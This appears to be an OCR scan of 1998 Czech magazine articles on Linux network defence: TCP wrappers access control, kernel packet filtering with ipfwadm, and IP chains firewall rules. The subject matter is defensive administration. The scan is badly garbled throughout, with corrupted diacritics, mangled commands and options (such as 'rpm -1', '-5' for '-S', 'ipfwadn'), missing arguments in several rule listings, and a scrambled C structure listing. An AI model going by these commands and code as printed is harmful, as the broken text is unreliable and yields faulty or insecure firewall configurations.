e LOCAL - vyhovuje v§em jméntm pocitac¢l, které ne-
obsahuji tecku

Podrobnéjsi informace naleznete v manové strance
hosts_access(5). V seznamu muze byt téZ uveden ope-
rator EXCEPT, jehoz funkce je patrna z vySe uvedeného
prikladu.

Vysvétlime si kratce, jak wrapper urcuje opravnénost po-
zadavku o pripojeni. Wrapper hled4 v tabulkach a pouzije
prvni pravidlo, které vyhovuje pozadavku. Pri vybéru pra-
videl se postupuje takto:

1. Pristup bude povolen, pokud par (démon, Kklient)
vyhovuje néjakému pravidlu uvedenému v souboru
/etc/hosts.allow.

2. Pristup bude odepren, pokud par (démon, Klient)
vyhovuje néjakému pravidlu uvedenému v souboru
/etc/hosts.deny.

3. V ostatnich pripadech je pristup povolen.

Syntaxe pravidel kontroly pristupu je dokumentovana
v manové strance hosts_access(5). Je potfeba, aby wrap-
per nezpomaloval odezvu serveru, a proto byl jazyk pro psa-
ni pravidel navrzen tak, aby byl co nejjednodussi. Se zvySu-
jici se rychlosti pocitaci je tento jazyk mozné rozsifit. Toto
rozsifeni je popsano v manové strance hosts_options(5).
Aby bylo mozné toto rozsifeni pouzit, musi byt wrap-
per s timto rozsifenim zkompilovan. V pripadé distribuce
Red Hat Linux tomu tak je.

Kontrolni vypis pravidel
tcpdchk -v.

Pravidla pro kontrolu pristupu mohou byt téz pouzita
k tomu, aby Kklientim byl spustén ,ten spravny“ server.
Napr. chceme, aby WWW databaze komunikovala v rodném
jazyce, pokud se pripoji Klient z dané zemé, a v angli¢tiné,
pokud se pripoji Klient odjinud.

provedeme piikazem

Vypisovani zprav klientim (banner messages)

Pokud je povoleno rozsireni jazyka, je mozné pied spusté-
nim prislusného serveru vypsat klientovi néjakou zpravu.
Pravidlo bude mit pak tento tvar:

<seznam démoni> : <seznam klientd> : \
banners /some/directory

Pokud dojde k vyhovéni, program tcpd se nejprve po-
diva do adresaie /some/directory a pokud v ném najde
soubor, ktery ma stejné jméno, jako prislusny démon, zko-
piruje jeho obsah klientovi. Napf. pro sluzbu TELNET se
démon jmenuje in.telnetd, takZe stejné se bude jmeno-
vat i pfislusny soubor. Mize v ném byt napi. zprava

Ahoj %u@h, co t& k ndm privadi?

%u a %h jsou tzv. %<pismeno> expanze. Konkrét-
né %u bude expandovano na jméno uzivatele a %h
na jméno Klientského pocitace. Téchto expanzi je vic
a jsou popsany v manové strance hosts_access(5). Na-
vod, jak spravovat soubory se zpravami je v souboru
/usr/doc/tcp_wrappers*/Banners.Makefile.

Konfigurace a instalace

Instalace tohoto baliku na Linuxu je velice jednoducha po-
kud pouzivate napi. distribuci Red Hat. Tento balik muze
byt instalovan jiz pri instalaci celého systému. Pro uplnost
uvedu jesté prislusny postup, pokud balik pii instalaci ce-
1ého systému instalovan nebyl:
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1. Musime ziskat prislusny distrubuéni balik, napft.
tcp_wrappers-7.6-1.i386.rpm (RPM balik pro plat-
formu i386). Bud z distribu¢niho CD¢ka, nebo z néja-
kého FTP mirroru distribuce Red Hat.

2. Nainstalujeme ho pomoci programu rpm:
rpm -1 tcp_wrappers-7.6-1.1386.rpm

Instalace pomoci rpm provede prisluSné zmény do
souboru /etc/inetd.conf. Soubory /etc/hosts.allow
a /etc/hosts.deny si upravime podle svych pfedstav. Da-
le miZzeme zkusit program tcpdchk, ktery kontroluje rtizné
nesrovnalosti, napf. pii jeho spusténi miZzeme dostat hlas-
ku

warning: /etc/inetd.conf, line 28: \
[usr/sbin/wu-ftpd: not found: \
No such file or directory

takovéto nesrovnalosti bychom méli odstranit.

Miuzeme taky vyzkouset, jak bude probihat zadost o pfi-
pojeni na néjakou sluzbu z néjakého Kklienta. K tomu pou-
Zijeme program tcpdmatch. Napf.
tcpdmatch in.telnetd anchor.env.cz

VypiSe napft.

client: hostname anchor.env.cz
client: address 10.0.8.117
server: process in.telnetd
access:  granted

Program tcpd, vSechny soubory, ktery tento program po-
uziva, a vSechny prislusné adresare by méli byt c¢itelné, ale
ne zapisovatelné pro neprivilegované uzivatele (moéd 755
nebo 555). Program tcpd by nemél byt set-uid.

Pokud neexistuji tabulky pro kontrolu pristupu, tcpd se
bude chovat tak, jako by byly prazdné.

Podle dokumentace program tcpd nepracuje s RPC sluz-
bami nad protokolem TCP. OvS§em jedina netrivialni sluzba,
ktera je timto postizena, je rexd, jejiz pouzivani je vSak pry
velice nebezpecné.

Dalsi informace a poznamky

Wrapper se snazi odhalit tzv. host name spoofing a host ad-
dress spoofing. Jde o to, ze Klientsky pocita¢ se pokousi
zfalSovat svoji identitu. V prvnim pripadé se jedna o pokus
zfalSovani jména pocitace, v druhém o pokus zfalSovani je-
ho IP adresy. Pokud wrapper zjisti v tomto sméru néjaké
nesrovnalosti, spojeni odepre.

Wrapper je v distribuci Red Hat 5.0 prelozen s volbou
-DKILL_IP_OPTIONS, coz znamenad, ze programy budou od-
mitat navazat TCP spojeni u paketu, které maji nastaveno
smérovani (IP source routing packets).

Protokol navrzeny v dokumentu RFC 931 poskytuje pro-
stredky pro ziskani uzivatelského jména z pocitace Klienta
(client username lookup). Je pozadovano, aby na Klient-
ském pocitaci bézel néjaky démon, ktery vyhovuje specifi-
kaci RFC 931 (identd). Tato specifikace bohuzel neni dana
jednoznacné, téch protokold je vic. Démon tcpd podporuje
jen nejbéznéjsi z nich.

Program tcpd provadi zjiStovani jména uzivatele pouze

pokud je to vyzadovano v pravidlech pro kontrolu pristupu,
nebo pokud je jméno uzivatele potieba v néjaké %<pisme-
no> expanzi.

Rutiny pro Kkontrolu pristupu mohou byt snadno
integrovany do dalSich programu. Manova stranka
hosts_access(3) popisuje aplika¢ni interface knihovny
libwrap.a.

Oznameni o novych verzich tohoto software je posto-
vano do usenetovych skupin (alespon) comp.security.unizxz,
comp.unix.admin a posilano do specialni diskusni skupiny,
do které se muzete prihlasit zaslanim zpravi¢ky bez sub-
jectu, ktera bude obsahovat pravé a jen retézec subscribe
tcp-wrappers-announce na adresu [(D}

Muzete se téz prihlasit do diskusni skupiny o firewallech
(poslete na adresu [(2)] dopis bez subjectu obsahujici pravé
a jen retézec subscribe firewalls). Jeji archiv je na ser-
veru [(3)]

Dalsi informace naleznete téz v manovych strankach
hosts_access(3, 5), hosts.allow(5), hosts.deny(5),
hosts_options(5), tcpd(8), tcpdchk(8), tcpdmatch(8).

Prikazem

rpm -qil tcp_wrappers

ziskame kratkou informaci o (nainstalovaném) baliku
tcp_wrappers a vypis vSech relevantnich soubort.

Dalsi informace jsou téz k dispozici v adresari
/usr/doc/tcp_wrappersx.
Pouzit4 literatura: [(4)] [ ]

1 TCP wrappers announce majordomo
mailto:majordomo@wzv.win. tue.nl
2 Firewally — mailing list
mailto:majordomo@greatcircle. com
3 Archiv diskusni skupiny firewalls
ftp://ftp.greatcircle. com
4 WZ. Venema, "TCP WRAPPER, network monitoring,
access control and booby traps”
ftp://ftp.win.tue.nl/pub/security/tcp_wrapper.ps.Z
5 W.R. Cheswick, ”An Evening with Berferd, In Which
a Cracker is Lured, Endured, and Studied”
ftp://research.att.com/dist/internet_security/berferd.ps

Filtrovani paketi v Linuxu
Pavel Kankovsky, 3. biezna 1998

V linuxovém jadre je vestavéna pomeérné silna a flexibil-
ni podpora pro filtrovani paketu (specialné IP datagramu,
i kdyz je mozno filtrovat i jiné protokoly, napt. IPX) zpraco-
vavanych sitovym subsystémem jadra. Filtrovani je mozno
provadét ve tfech riznych fazich: bezprostiedné po pfije-
ti datagramu ze sité, béhem jeho presmérovani do jiné si-
té a pred vyslanim datagramu do sité. Pro aktivaci téchto
funkeci je tfeba zapnout volby Network firewalls a IP firewal-
ling. Poznamenejme, Ze neni nutné, aby byl uzel nakonfi-
gurovan jako router (IP forwarding/gatewaying), i kdyz je
to obvyklé.

Pro protokol IP znazornuje postaveni jednotlivych filtri
(jsou oznaceny modrou barvou) vzhledem k ostatnim kom-
ponentam (v konkrétni konfiguraci nemusi byt nékteré pii-
tomny) tento diagram:


mailto:majordomo@wzv.win.tue.nl
mailto:majordomo@greatcircle.com
ftp://ftp.greatcircle.com
ftp://ftp.win.tue.nl/pub/security/tcp_wrapper.ps.Z
ftp://research.att.com/dist/internet_security/berferd.ps
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loopback

\
Demasquerad

4 ocal Local
NPUTdestination address ~ \process

Routing

Network

Datagram je po svém prijeti nékterym sitovym rozhranim
zpracovan vstupnim filtrem (input). Pokud je jeho adresa
lokalni (nebo vstupni filtr natizuje presmérovani datagra-
mu na lokalni port, tzv. transparent proxying), je provede-
no ,,odmaskovani“ cilové adresy-tj. pokud je v ¢innosti pre-
klad adres (NAT, v Linuxu oznacovano jako masquerade,
tedy maskarada). Pokud je pod cilovou adresou datagra-
mu skryta jina adresa, je tato ,odmaskovana“ a datagram
je presmérovan na své skutec¢né misto urcéeni. Jinak je (po-
kud je to mozné) dorucen na prislusny lokalni port a pie-
vzat lokalné bezicim procesem.

Kazda z téchto funkei vraci jednu z nasledujicich hodnot:

FW_BLOCK odmitni datagram bez nahrady
FW_ACCEPT akceptuj datagram
FW_REJECT odmitni datagram a zasli oznameni,

ze nelze doruéit (ma-li to smysl)
FW_REDIRECT presméruj datagram na lokalni port
FW_MASQUERADE ,zamaskuj“ zdrojovou adresu

Pro protokol IP ma hodnota FW_REDIRECT smysl pouze
u vstupnich filtr a hodnota FW_MASQUERADE pouze u pie-
davacich filtrd. Protokol IPX tyto hodnoty nerozeznava vi-
bec.

Pro kazdy protokol je definovana prioritni fronta fil-
tri, které jsou popsany strukturou firewall.ops (viz vy-
pis [mStruktura firewall_ops).

Funkce call_..._firewall vyvolavaji odpovidajici me-
tody =zaregistrovanych filtri podle jejich priority (od
nejmensi k nejvétsi), dokud neni hodnota vracena meto-
dou rizna od FW_SKIP. Pokud ani jeden filtr ve fronté ne-
rozhodne o osudu datagramu, je vracena preddefinovana
hodnota (FW_ACCEPT).

VSechny zminéné definice je mozno nalézt v souboru
include/linux/firewall.h.

struct firewall_ops
{
struct firewall_ops *next;
int (xfw_forward) (struct firewall ops *this, int pf,

int (xfw_input) (struct firewall ops *this, int pf,
int (*fw_output) (struct firewall ops *this, int pf,

int fw_pf;
int fw_priority;

/* Protocol family

struct device *dev, void *phdr, void *arg);
struct device *dev, void *phdr, void *arg);
struct device *dev, void *phdr, void *arg);

/* Priority of chosen firewalls

*/
*/

Vypis 1: Struktura firewall_ops

Pokud neni cilova adresa datagramu lokalni (ani nema
dojit k jeho presmérovani na lokalni port), je datagram
smérovan a zkontrolovan predavacim filtrem (forward). Po-
kud to filtr vyzaduje, je provedeno ,maskovani“ zdrojové
adresy datagramu. VSechny datagramy, které maji byt vy-
slany do sité, jsou jesté pred svym predanim sitovému roz-
hrani zkontrolovany vystupnim filtrem (output).

Jednotlivé filtry popsané v predchozim textu jsou vyvo-
lavany v procedurach sitovych protokold (pokud filtrovani
podporuji) pomoci nasledujicich funkei:

int call_fv_firewall(int pf, \

struct device *dev, void *phdr, void *arg);
int call_in_firewall(int pf, \

struct device *dev, void *phdr, void *arg);
int call_out_firewall(int pf, \

struct device *dev, void *phdr, void *arg);

kde parametr pf urcuje sitovy protokol (napt. PF_INET), dev
urcuje zarizeni, odkud byl datagram prijat, pro vstupni filtr
resp. zarizeni, kam bude datagram odeslan, pro predavaci
a vystupni filtr, phdr ukazuje na zacatek dat v datagramu
(z pohledu sitového protokolu) a arg je pomocny parametr
(ktery je napt. u vstupnich filtri pro protokol IP pouZit pro
presmeérovani na lokalni porty).

Standardni IP filtr a prikaz ipfwadm

Piimo ve standardnim linuxovém jadfe (v souboru
net/ipv4/ipfw.c) je mozno nalézt jednoduchou imple-
mentaci bezstavového filtru pro protokol IP Kéd pocha-
zi z BSD UNIXu verze 4.4 (a byl portovan do Linuxu jesteé
v dobé, kdy vySe popsané obecné mechanismy jesSté nee-
xistovaly).

Kazdy filtr je definovan jako seznam pravidel (rules), kte-
ra se skladaji z podminky (urcujici, kdy je pravidlo pouzito)
a akce (urcujici, jak ma byt s datagramem nalozeno), a jed-
né implicitni akce (default policy). Pro kazdy datagram je
seznam pravidel prochazen dokud neni nalezeno pravidlo,
jehoz podminka je splnéna, a pak je pouzita jeho direkti-
va. Pokud neni Zadné takové pravidlo nalezeno, je pouzita
implicitni akce.

Podminka je tvorena (v zavorkach jsou uvedeny odpovi-
dajici parametry pfikazu ipfwadm, o kterém bude fe¢ poz-
déji):

e zdrojovou a cilovou IP adresou s maskou (=S, -D)

e specifikaci protokolu: libovolny, UDE, TCE, ICMP (-P)

e mnozinou zdrojovych a cilovych porti pro protokoly
UDP a TCP, maximalni pocet v§ech portl v podmince
je 10, ale je moZno specifikovat i interval (=S, -D)
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e Udajem, zda shodu adres a porti testovat i v opaéném
smeéru (-b)

e priznaky pro rozliSeni novych a jiz otevienych TCP
spojeni (-k, -y)

e mnozinou typu zprav pro protokol ICMP (-S)

e jménem resp. adresou sitového rozhrani (-W, -V)
Explicitni akei pak tvori:

e zZpusob, jakym ma byt s datagramem naloZeno: ak-
ceptovat (accept), tiSe zamitnout (deny), zamit-
nout a poslat zpét oznameni pomoci protokolu ICMP
(reject)

e Udaj, zda ma byt datagram presmeérovan na lokalni
port, a pokud ano, tak na ktery (-r)

e Udaj, zda ma byt proveden preklad zdrojové adresy
(-m)

e Udaj, zda ma byt o aplikaci pravidla na datagram za-
psana informace do logu (-o)

e modifikace pfiznakui typu sluzby (TOS) (-t)

Implicitni akce se skldda pouze ze zpusobu, jakym ma
byt s datagramem naloZeno, tj. zda ma byt datagram ak-
ceptovan nebo zamitnut (s oznadmenim nebo bez néj).

Mimoto je mozno definovat tzv. u¢tovaci pravidla (pokud
je v konfiguraci jadra zapnuto IP accounting), ktera maji
stejné podminky, ale zadné direktivy. U¢tovaci pravidla jsou
dvou druht: vstupni a vystupni. Pro jejich vyvolavani neni
pouzit mechanismus filtrii, nebot jsou explicitné volana ze
subsystému protokolu IP.

Se seznamy pravidel je mozno pracovat pomoci systé-
movych volani popsanych v manuélové strance ipfw(4).
To ovSem neni prili§ praktické pro bézné pouziti, a proto
existuje program ipfwadm, ktery tyto funkce zpristupnuje.
Pomoci tohoto programu je mozno konfigurovat filtrova-
ci a uctovaci pravidla, zjiStovat udaje o nakonfigurovanych
pravidlech a testovat je. Syntaxe v§ech jeho parametri je
detailné popsana v manudalové strance ipfwadm(8), strué-
ny prehled je moZno ziskat zadanim piikazu ipfwadm -h.
Nutné minimum predstavuji nasledujici varianty:

ipfwadm filtr
ipfwadm filtr
ipfwadm filtr
ipfwadm filtr

-p vysledek

-a vjsledek parametry...
-f

-1

Prvni varianta nastavuje implicitni akei pro zadany filtr.
Filtr je -1 pro vstupni filtr, -0 pro vystupni a -F pro pre-
davaci. Vysledek je accept pro prijeti, deny pro odmitnu-
ti, nebo reject pro odmitnuti se zaslanim oznameni. Dru-
ha varianta pridava na konec seznamu nové pravidlo, je-
hoz podminka a dalsi atributy akce jsou popsany paramet-
ry. Nahrazenim volby -a je mozno pravidla pridavat na za-
¢atek seznamu (-i) nebo ze seznamu odebirat (-d). Tieti
varianta zcela vyprazdni seznam zadaného filtru. Posled-
ni varianta vypiSe obsah zadaného filtru, spolu se statisti-
kou pouziti jednotlivych pravidel (pomoci voleb -1 a —e je
mozno ziskat detailnéjsi informace).

Nyni si ukédzeme nékolik piikladu.

Trivialni vstupni filtr

Tento priklad ukazuje, jak inicializovat nejjednodussi
vstupni filtr, ktery zabranuje podvrzeni lokalni sitové adre-
sy (address spoofing). Predpokladejme, ze pocéita¢ ma dvé
sitova rozhrani: 1o s adresou 127.0.0.1 a ethO s adresou
1.2.3.4.

ipfwadm -I -p deny
ipfwadm -I -f

ipfwadm -I -a accept -S 127.0.0.0/8 -W lo
ipfwadm -I -a accept -5 1.2.3.4 - lo
ipfwadm -I -a deny -S 127.0.0.0/8
ipfwadm -I -a deny -§ 1.2.3.4

ipfwadm -I -p accept

Vstupni filtr je inicializovan pravidly, ktera zabranuji, aby
vyjmenované zdrojové adresy byly pouzity na jiném zarize-
ni nez je loopback. Nastaveni implicitni direktivy na za-
¢atku a na konci demonstruje osetreni nestabilniho stavu
v prubéhu inicializace, kdy by mohlo byt mozno filtr obejit.
VSechna zamitnuti jsou definovana jako deny, nebot zdro-
jova adresa neni platna, a proto nema smysl na ni nic po-
silat.

Predpokladejme, Ze propojujeme sit 1.2.3.0/8 s Interne-
tem. Chceme-li zajistit, aby z vnéjsku nebylo mozno pod-
vrhnou vnitini adresy a naopak. Také chceme odfiltrovat
neplatné adresy. Lokalni sit je zapojena na eth0, ven sme-

fuje pppO.

ipfwadn -I deny -b -S 10.0.0.0/8 -0
ipfwadn -I deny -b -S 172.16.0.0/12 -0
ipfwadm -I deny -b -S 192.168.0.0/16 -0
ipfwadm -I deny -b -§ 0.0.0.0 -o
ipfwadm -I deny -b -S 255.255.255.255 -0

ipfwadm -I accept -$ 1.2.3.0/8 -W eth0
ipfwadm -I deny -W eth0 -o
ipfwadm -I deny -5 1.2.3.0/8 -o

Prvni blok filtruje privatni a neplatné IP adresy, a to
jak zdrojové, tak cilové. Druhy blok zajistuje, ze adresy
1.2.3.0/8 mohou pouzivat pouze pocitace v lokalni siti,
pricemz jim neni dovoleno pouzivat jiné adresy. Vyskyt ne-
zadoucich adres je zaznamenan do logu.

Omezeni pristupu na urcité adresy a protokoly

Chceme umoznit, aby pocitace z vnitini sité mohly navazo-
vat TCP spojeni bez omezeni, ale v opacném smeéru je do-
volen pouze pristup na porty 100 a 101 na adrese 1.2.3.4.
Je povoleno pouziti piikazu ping bez omezeni. Nic jiného
povoleno neni.

2.3.4 100 101
2.3.0/8

ipfwadm -F accept -P tcp -k -
ipfwadm -F accept -P tcp -k -
ipfwadm -F accept -P tcp -
ipfwadm -F accept -P icmp -S 0.0.0.0/0 0 8
ipfwadm -F -p reject
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Pravidla jsou v této ukazce umisténa do predavaciho fil-
tru, takze ovliviiuji komunikaci mezi vnitini siti a vnéjs-
kem, ale neomezuji moznosti samotného firewallu a pro-
cest na ném bezicich (coz muze-ale nemusi-byt zadouci).
Prvni dvé pravidla povoluji zahajovat TCP spojeni, pokud
je cilem jeden z povolenych portii na pocitaéi 1.2.3.4 ne-
bo zdroj lezi ve vnitini siti (predpoklada se, ze jiz byla uci-
néna opatieni proti podvrzenym adresam). Tieti pravidlo
povoluje neomezeny provoz pro jiz zahajenda spojeni. Ctvr-
té pravidlo povoluje pruchod zprav ECHO (8) a ECHO REPLY
(0) protokolu ICMP (v praxi by bylo vhodnéjsi méné re-
striktivni pravidlo). Nakonec je nastavena implicitni akce
na odmitnuti datagramu, ¢ili vSechno, co dosud nebylo po-
voleno, je zakazano.

Preklad adres a presmeérovani provozu na lokalni port

Mame lokalni sit s adresou 192.168.5.0/8 (pozor, zmeé-
na!) a chceme pocéita¢im na ni umoznit komunikaci s In-
ternetem pomoci prekladu adres. Zaroven chceme vSech-
na spojeni z lokalni sité smérovand na port 80 presmérovat
na lokalné bézici HTTP proxy (takovy, ktery to podporuje
- napi. squid) poslouchajici na portu 1234.

ipfwadm -I accept -P tcp -D 0.0.0.0/0 80 -W eth0 -r 1234
ipfwadm -F accept -$ 192.168.5.0/8 -m
ipfwadm -M -s 120 60 120

Prvni pravidlo ,,odchytava“ spojeni z lokalni sité na port
80 na libovolné adrese a presmeérovava je na lokalni port
1234. Druhé pravidlo zajistuje preklad privatnich adres z lo-
kalni sité. Treti pravidlo demonstruje nastaveni ¢asovych
parametrt ,,maskarady“ (pro zvlasté pomalé spojeni).

Testovani filtru

Program ipfwadm je také mozno pouzit pro ovéreni, zda
filtr akceptuje, ¢i odmitne urcity datagram. Je nutno uvést
vSechny parametry, véetné adresy sitového rozhrani. Nasle-
dujici prikaz ovéri, zda je (z hlediska vstupniho filtru) pri-
pustné zahgjit TCP spojeni z adresy 1.2.6.7, portu 1234
na adresu 1.2.6.7, port 7, pricemz datagram je prijat pres
rozhrani ethO.

ipfwadm -I -c -P tcp -S 1.2.3.4 1234 \
-D 1.2.6.7 7 -k -V 1.2.3.1 -W eth0

Pokud to mozné je, pak program odpovi:

packet accepted

Alternativni filtry

Vy$e popsand implementace filtrd neni jedind mozna. K dis-
pozici je vylepSenda varianta pod nazvem IP firewall chains
[MD)] ktera predevsim umi 1épe pracovat s fragmentovanymi
datagramy, zavadi nékteré nové druhy podminek, umoznu-
je hierarchicky strukturovat seznamy pravidel a dovoluje
provadét zmény seznamu pravidel atomicky. Modul je kon-
cipovan jako nahrada standarniho filtru. Obsazena je ob-
doba programu ipfwadm pod ndzvem ipchains.

Naprosto nezavislou implementaci filtru pro protokol IP
predstavuje sf Firewall [(2)] K hlavnim rystim patii sledova-
ni stavu komunikaénich protokold (napi. TCP), schopnost
dynamického vytvareni pravidel na zakladé jinych pravidel,
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bohaty konfiguraéni jazyk s Sirokym repertoarem podminek
a akei a moznost efektivni rekonfigurace za béhu. Na dru-
hou stranu ale neni (ve verzi 0.2.9) podporovan preklad ad-
res ani presmérovani na lokalni port.

Pro Linux je téz dostupny multiplatformni balik IP Filter
[3)] K jeho zajimavym vlastnostem patii podpora pro de-
tailni kontrolu obsahu hlaviéek datagramu, sledovani stavu
komunikacnich protokold, sdruzovani pravidel do skupin
a podpora pro zachycovani podezielych datagramu a jejich
zpracovani externim procesem. [ |

1 IP firewall chains
http://www.adelaide.net.au/"rustcorp/ipfwchains
2 sf Firewall
ftp://ftp.switch.ch/software/sources/network/sf
3 IP Filter
http://cheops.anu.edu.au/"avalon/

Firewall v retézech
Jan Kasprzak, 14. biazna 1998

V tomto ¢lanku vas chei
zvanym ipchains, jehoz autorem je Paul Russel
(Paul.Russell@rustcorp.com.au). Je to nastroj pro
tvorbu firewallll typu packetovy filtr pod Linuxem. Jeho
funkénost je nadmnozinou funkénosti IPFW,

Uéel pouziti IP chains v systému je stejny, jako u Kklasic-
kého IPFW packetového filtru: specifikovat, které packety
mohou projit systémem (at jiz dovnitt, ven nebo byt for-
wardovany pres systém), dale mit moznost sledovat, kolik
packetu uré¢itého tvaru prochdazi systémem, a dokonce mit
moznost napiiklad logovat pfichod podezielych packetu.
Posledni jmenovana vlastnost je dilezita pro skute¢né ak-
tivni obranu pred uto¢nikem a umoznuje odchytit pokusy
o prunik hned v zacatcich.

seznamit s nastrojem

Zprovoznéni IP chains

Systém IP chains ma dvé ¢asti: jedna je uvnitt jadra a jde
o vlastni filtrovaci k6d, druhd ¢ast - program ipchains
- slouzi k nastavovani jednotlivych filtrovacich pravidel.
Prvni ¢ast je mozno ziskat jako patch do jadra (at jiz
vyvojového - série 2.1, tak i stabilniho - série 2.0). Pro-
gram ipchains je dostupny ve zdrojové formé z domov-
ské stranky IP Firewalling chains. To, Ze v systému je
nainstalovan IP chains, lze ovérit tak, ze existuje soubor
/proc/sys/net/ip_fuchains.

Cesta packetu pocitacem

K porozuméni systému IP chains je nutné védét, jakym
zpusobem prochazi packet poc¢itaéem (viz obrazek [WCes-
ta packetu pocitacem).

e Vznik packetu: Packet mize budto vzniknout ¢innos-
ti lokalniho procesu (pak je na néj aplikovano pravi-
dlo output) nebo priijit ze sité. Na takovyto prichozi
packet jsou aplikovany dvé kontroly: kontrolni soucet
a kontrola na rozumnost nékterych hlavicek. Nevyho-
vujici packety jsou rovnou zahozeny.

input: Toto je sada filtrovacich pravidel, aplikovana
na prichozi packety. Zde je mozno packet prijmout
(ACCEPT), zahodit DENY, odmitnout (REJECT) nebo
presmeérovat (REDIRECT).


http://www.adelaide.net.au/~rustcorp/ipfwchains
ftp://ftp.switch.ch/software/sources/network/sf
http://cheops.anu.edu.au/~avalon/
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Obrazek 2: Cesta packetu pocitacem

o Demasquerade: Je-li packet odpovédi na piedchozi
masqueradovany packet, prepiSou se odpovidajicim
zpusobem hlaviéky a packet se posle na vystup.

e Routing: Smeérovaci k6d v jadre nyni rozhodne, jestli
je packet urceny lokalnimu procesu (pak se doruéi)
nebo kK preposlani na jiny stroj.

o forward: Dalsi sada filtrovacich pravidel. Uréuje, které
packety se sméji forwardovat dal, pripadné u kterych
se ma provést prepis hlavicek (masquerading).

e output: Lokalné vzniknuvsi a forwardované packety
jsou nakonec zkontrolovany vystupni sadou pravidel,
ktera urci, jestli packety mohou opustit pocitac.

V ¢em se lisi IP chains?

V piredchozim odstavci jsem popsal cestu packetu pocita-
¢em. Tato cesta je v podstaté stejna pri pouziti klasického
firewallingu (ipfwadm) i pfi pouZiti IP chains. Kde je tedy
rozdil?

Klasicky pristup definoval tfi zakladni sady filtrovacich
pravidel - vstupni, forwardovaci a vystupni (plus ¢tvrty typ
- accounting). V systému IP chains muize byt takovychto
sad (v terminologii IP chains Fetézit) libovolné mnoho a mo-
hou na sebe navzajem odkazovat. Existuji tii vychozi retéz-
ce: input, output a forward. Jadro kazdym z téchto fe-
tézcu kontroluje, jestli packet smi projit dal na prislusném
misté zminovaného obrazku. Déle existuje pét pseudore-
tézcu ACCEPT, DENY, REJECT, REDIR a MASQ. Tyto se chovaji
jako bézné retézce v tom smyslu, Zze mohou byt odkazova-
ny z jinych fetézed (napriiklad pokud fetézec forward od-

kaze vSechny packety na retézec DENY, znamena to zakaz
forwardovani pres tento pocitac).

Logika prace IP chains je pak jasna: Pomoci programu
ipchains podobné jako pres ipfwadm vytvarime filtrova-
ci pravidla. Tak jako v ipfwadm mélo kazdé pravidlo typ
podle toho, jestli akceptovalo nebo odmitalo packet, ktery
mu odpovidal, spusti v IP chains kazdé pravidlo na packet,
ktery mu odpovida, néjaky jiny retézec (ACCEPT, DENY ne-
bo jiny). V§hoda IP chains je v tom, Ze nejsme odkazani
jen na standardni pseudoietézce, ale muZeme si vytvaret
vlastni.

Priklad - tfidy poéitacéu

Meéjme sit, na které bézi nékolik servert a nékolik uzivatel-
skych stanic. Chceme povolit telnet, ssh a finger na ser-
very, jakékoli spojeni ze serverd ven, ale na stanice chce-
me povolit jen finger. Pomoci ipfwadm bychom museli
pro kazdy pocita¢ jednotlivé specifikovat prislusna prava.
Pokud bychom se pozdéji rozhodli napiiklad povolit ssh
i na stanice, museli bychom pridat tolik pravidel, jako je
stanic.

Pomoci IP chains muzeme napiiklad nadefinovat retézec
stanice a retézec servery, a prisluSné packety v retézci
forward na tyto preposilat, jdou-li na servery, na stanice
nebo jinam. Pfipadnou zménu pro celou tiidu stroju pak
muzeme jednoduSe realizovat pfidanim jediného pravidla
do fetézce stanice nebo servery:

MYNET=1.2.3.0/255.255.255.0

# Definujeme pravidla pro servery:

ipchains -N servery

# Dovnitf pustime pouze na port telnetu, ssh, fingeru ...
ipchains -A servery -d $MYNET telnet -p tcp -j ACCEPT
ipchains -A servery -d $MYNET ssh -p tcp -j ACCEPT
ipchains -A servery -d $MYNET finger -p tcp -j ACCEPT
# ... a zakdZeme otvirani jakjchkoli jinjch

# TCP spojeni dovnit¥

ipchains -A servery -d $MYNET -p tcp -y -j DENY

# zbytek TCP packetu povolime:

ipchains -A servery -p tcp -j ACCEPT

# Povolime ICMP obéma sméry

ipchains -A servery -p icmp -j ACCEPT

# Ibytek zakaZeme

ipchains -A forward -j DENY

# Definujeme pravidla pro stanice:

ipchains -N stanice

# Dovnitf pustime pouze na port fingeru ...
ipchains -A stanice -d $MYNET finger -p tcp -j ACCEPT
# ... a zakdZeme otvirani jakjchkoli jinjch

# TCP spojeni dovnit¥

ipchains -A stanice -d $MYNET -p tcp -y -j DENY
# zbytek TCP packetu povolime:

ipchains -A stanice -p tcp -j ACCEPT

# Povolime ICMP obéma smery

ipchains -A stanice -p icmp -j ACCEPT

# Zbytek zakaZeme

ipchains -A forward -j DENY

# Ret8zec forvard: definujeme servery ...
ipchains -A forward -s 1.2.3.1 -j servery
ipchains -A forward -d 1.2.3.1 -j servery
ipchains -A forward -s 1.2.3.6 -j servery
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ipchains -A forward -d 1.2.3.6 -j servery
ipchains -A forward -s 1.2.3.8 -j servery
ipchains -A forward -d 1.2.3.8 -j servery

# ... a stanice ...

ipchains -A forward -s 1.2.3.2 -j stanice
ipchains -A forward -d 1.2.3.2 -j stanice
ipchains -A forward -s 1.2.3.129 -j stanice
ipchains -A forward -d 1.2.3.129 -j stanice
ipchains -A forward -s 1.2.3.123 -j stanice
ipchains -A forward -d 1.2.3.123 -j stanice
# ... a zakdZeme zbytek.

ipchains -A forward -j DENY

Takto tedy mame oddélenou sadu pravidel pro servery
a pro stanice, pricemz pridani dalsi stanice nebo dalsiho
serveru je otazku pridani dvou pravidel do retézce forward,
povoleni dal§i TCP sluzby pro danou tfidu poéita¢t obnasi
jedno dalsi pravidlo do fetézce servery nebo stanice.

Samoziejmé definovani fetézed podle tiid poéitac¢l ne-
ni jedinou moznosti IP chains. Je mozné mit napriklad od-
délené vstupni a vystupni retézec, nebo tieba retézce pro
kazdy interface ¢i protokol zvlast.

Vyhody IP chains

Hlavnim prinosem IP chains je samoziejmé moznost de-
finovani vlastnich fetézci. Cely systém je ale vylepSen
i o mnoho dalsich vlastnosti:

Podstatné §irsi moznost definovani pravidel (téhoz
efektu 1ze dosahnout s méné pravidly nez u ipfwadm,
jak jsme vidéli v predchozim prikladé).

Uétovani (accounting) integrovano do filtrovacich
pravidel. Kazdé pravidlo v fetézci mize mit svoje po-
¢itadlo.

64-bitové hodnoty uétovani i na 32-bitovych systé-
mech. Pfi pouziti ipfwadm mize velmi brzo dojit k pie-
tecCeni.

Je mozné specifikovat tfidu rozhrani (napiiklad ppp
znaci v8echna rozhrani - ppp0, pppl atd.).

ICMP packety je mozno filtrovat nejen na zakladeé ty-
pu, ale i na zakladé podtypu (kédu).

Slozitéjsi uctovani nebo filtrovani je mozno provadét
téZ user-space démonem (pouze v kernelech 2.1).

Je mozné logovat a uctovat i chybné packety.
Vétsina zmén konfigurace firewallu je mozna atomicky.

Rozhrani je mozno pouzit i pro jiné protokoly nez jen
ICME UDP a TCP.

